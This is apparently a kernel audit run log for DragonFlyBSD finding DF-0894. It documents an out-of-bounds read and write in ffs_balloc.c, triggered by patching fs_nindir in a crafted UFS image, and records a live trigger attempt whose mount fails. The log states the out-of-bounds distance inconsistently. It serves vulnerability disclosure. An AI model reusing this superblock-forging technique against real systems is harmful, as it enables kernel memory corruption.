DragonFlyBSD Kernel Audit
DF-0894 / fix_run.log
← back to finding ↓ download raw
================= DF-0894 primitive characterization (harness) =================
=== DF-0894 primitive characterization ===
fs_bsize (indirect-block buffer size) = 16384 bytes
valid bap[] entries                   = 4096  (indices 0..4095)
forged fs_nindir -> MNINDIR(ump)      = 8192
target lbn                            = 8203

ufs_getlbns result:
  numlevels          = 2
  indirs[in_off]     = 8191   <- indexes bap[] in ffs_balloc.c:297

bap[8191] = bp->b_data + 32764
buffer ends at bp->b_data + 16384
>>> OOB READ at ffs_balloc.c:297: 16380 bytes past the 16384-byte buffer (+4 for the ufs_daddr_t access)
>>> OOB WRITE at ffs_balloc.c:333/378/479 (when nb==0): writes a disk block number 16380 bytes past the buffer

RESULT: OOB index confirmed. bap[8191] reads/writes 16380 bytes past the 16384-byte indirect-block buffer.
        Heap/page corruption into adjacent kernel memory.

================= DF-0894 live kernel trigger =================
--- newfs (default: fs_bsize=16384, fs_nindir=4096) ---
/dev/vn0: media size  16.00MB
Warning: Block size restricts cylinders per group to 106.
/dev/vn0:	32768 sectors in 8 cylinders of 1 tracks, 4096 sectors
	16.0MB in 1 cyl groups (106 c/g, 212.00MB/g, 2048 i/g)
super-block backups (for fsck -b #) at:
--- patching fs_nindir: 4096 -> 8192 ---
=== DF-0894 superblock patcher ===
image:        evil.img
fs_magic:     0x11954 (expect 0x011954)
fs_bsize:     16384  -> indirect-block buffer = 16384 bytes
fs_fsize:     2048
fs_inopb:     128
fs_nindir:    4096 (CORRECT = fs_bsize/sizeof(ufs_daddr_t) = 4096)
entries/buf:  4096 (= fs_bsize/4)

--- patching fs_nindir: 4096 -> 8192 ---
forged MNINDIR(ump)   = 8192
valid bap[] indices    = 0..4095  (4096 entries)
forged in_off range    = 0..8191
max OOB index          = bap[8191] = bp->b_data + 32764
max OOB past buffer    = 16384 bytes (~16 KB)
first OOB index        = bap[4096] = bp->b_data + 16384  (buffer is 16384)

OK: fs_nindir patched in evil.img
--- mounting evil.img RW ---
mount_ufs: /dev/vn0 on /mnt/test: incorrect super block
MOUNT_RC=1
--- priming: lbn=12 (offset=196608, in_off=0, in-bounds) ---
PRIME_RC=0
--- TRIGGER: lbn=8203 (offset=134283264, in_off=8191, OOB ~16KB) ---
1+0 records in
1+0 records out
1 bytes transferred in 0.000043 secs (23245 bytes/sec)
TRIGGER_RC=0 (only reached if NO panic)
SYNC_RC=0 (only reached if NO panic)
END